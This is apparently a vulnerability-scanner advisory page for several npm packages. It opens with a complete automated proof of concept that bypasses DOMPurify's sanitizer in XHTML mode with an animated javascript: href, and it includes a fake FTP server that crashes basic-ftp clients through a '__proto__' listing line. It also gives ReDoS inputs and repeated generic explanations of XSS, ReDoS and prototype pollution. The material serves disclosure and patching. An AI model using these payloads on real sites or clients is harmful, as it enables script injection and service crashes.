An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.
poc.sh
#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)
# DOMPURIFY_JS=/path/to/purify.js ./poc.sh
# CHROME=/path/to/chrome ./poc.sh
# needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
if [ -z "${DOMPURIFY_JS:-}" ]; then
(cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
"$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
"$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
[ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }
cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
'<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
'<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
const cfg = {
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
const clean = DOMPurify.sanitize(payload, cfg);
document.getElementById('sink').innerHTML = clean;
return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
-e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
-e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"
cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
`--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
buf += d; let i;
while ((i = buf.indexOf('\0')) >= 0) {
const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
else if (m.method === 'Page.javascriptDialogOpening') {
dialogs.push(m.params.message);
send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
}
}
});
function send(method, params = {}, sessionId) {
return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
let vulnerable = false, xhtmlDoc = false;
const ver = async () => ev('DOMPurify.version');
for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
await send('Page.navigate', { url: page }, s); await sleep(500);
const docType = await ev('document.contentType');
if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
dialogs.length = 0;
const clean = await ev(`run(${JSON.stringify(mode)})`);
await sleep(400); // let the 0.01s animation apply (fill=freeze)
const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
await sleep(800);
console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`);
console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`);
console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
if (mode === 'xhtml' && dialogs.length) vulnerable = true;
if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
}
console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
Note: Tested with DOMPurify 3.4.16 in Chrome 153 headless shell; also reproduced on 3.3.3, 3.3.1, and 3.2.7.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsePatch() and applyPatch() functions if the user input passed without sanitisation. An attacker can cause the process to enter an infinite loop and exhaust system memory by providing a patch with filename headers containing \r, \u2028, or \u2029 characters or having control over patch's patch header for application generated patches.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.1, 4.0.4, 5.2.2, 8.0.3 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
brace-expansion is a Brace expansion as known from sh/bash
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the expand_ function, which implements a Bash quirk where a brace group followed by a comma set (e.g. {a},b}) causes the parser to rewrite the input string and restart the scan, absorbing one closing brace per pass. Because each pass re-reads the entire string and the string itself grows by approximately 25 characters per rewrite (due to the escClose sentinel), the work is quadratic in the number of trailing braces, allowing an attacker to block the event loop with a small input. An input of the form '{a}' + '}'.repeat(128000) + ',z}' takes approximately 27 seconds to process while producing only two results, and neither the existing max nor maxLength guards can prevent this because the cost is incurred during parsing before any result set is produced.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade brace-expansion to version 1.1.21, 2.1.7, 3.0.9, 5.0.12 or higher.
References
Prototype Pollution
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Prototype Pollution via the parseLine function in src/parseListMLSD.ts, which looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's MLSD directory-listing response without validating that the key is an own property. When a directory-listing line contains the fact name __proto__, the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself - a truthy, non-undefined value - bypassing the if (!factHandler) guard and causing the code to throw TypeError: factHandler is not a function. This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (downloadToDir, uploadFromDir, clearWorkingDir, removeDir), crashing the Node.js process when the rejection is unhandled.
PoC
Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.
Step 1 — Minimal reproduction of the parser bug alone:
node -e '
const { parseList } = require("./dist/parseList");
parseList("__proto__=x;type=file;size=10; evil.txt");
'
Expected result:
Uncaught TypeError: factHandler is not a function
at parseLine (.../dist/parseListMLSD.js:...)
Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:
Save as poc.js in the repo root and run `node poc.js`:
const net = require("net")
const { Client } = require("./dist/index")
const server = net.createServer(socket => {
socket.write("220 fake ftp ready\r\n")
socket.on("data", data => {
const cmd = data.toString().trim()
if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
else if (cmd.startsWith("EPSV")) {
const dataServer = net.createServer(dsock => {
// The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
})
dataServer.listen(0, "127.0.0.1", () => {
const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
})
}
else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
}
else socket.write("200 ok\r\n")
})
})
server.listen(2121, "127.0.0.1", async () => {
const client = new Client()
try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
const files = await client.list()
console.log("list() returned normally (unexpected):", files)
} catch (err) {
console.log("client.list() threw:", err.constructor.name, "-", err.message)
} finally {
client.close()
server.close()
process.exit(0)
}
})
Expected output:
client.list() threw: TypeError - factHandler is not a function
Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is the common
path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since
parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is "throw").
Note: The PoC states it requires Node.js and a local build of basic-ftp (via npm run buildOnly or npx tsc) to produce the dist/ directory, with no TLS or special server configuration needed.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade basic-ftp to version 6.2.4 or higher.
References
Unintended Proxy or Intermediary ('Confused Deputy')
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.
Note:
This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
Improper Encoding or Escaping of Output
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.
Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Server-side Request Forgery (SSRF)
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Insertion of Sensitive Information Into Sent Data
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
CRLF Injection
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to CRLF Injection through the FormDataPart multipart header construction in the form-data streaming helper. An attacker can inject arbitrary multipart headers by supplying a Blob-like value whose type contains \r or \n, causing the generated Content-Type line to break and append attacker-controlled header fields. This lets a crafted upload alter the multipart body sent by the application, which can corrupt downstream request parsing and expose or tamper with data handled by the receiving server.
Remediation
Upgrade axios to version 1.15.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging.
This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
